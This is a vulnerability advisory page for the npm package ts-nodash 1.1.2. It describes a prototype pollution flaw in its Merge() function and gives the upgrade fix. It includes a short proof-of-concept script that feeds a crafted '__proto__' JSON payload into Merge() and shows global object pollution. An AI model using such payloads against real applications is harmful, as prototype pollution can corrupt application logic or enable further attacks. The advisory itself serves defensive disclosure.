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ts-nodash@1.1.2 vulnerabilities

Provides object manipulation tools.

  • latest version

    1.3.9

  • latest non vulnerable version

    1.3.9

  • first published

    5 years ago

  • latest version published

    6 months ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the ts-nodash package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    ts-nodash is a Provides object manipulation tools.

    Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function due to lack of validation input.

    PoC

    const nodash = require("ts-nodash");
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
nodash.Merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

    How to fix Prototype Pollution?

    Upgrade ts-nodash to version 1.2.7 or higher.

    <1.2.7
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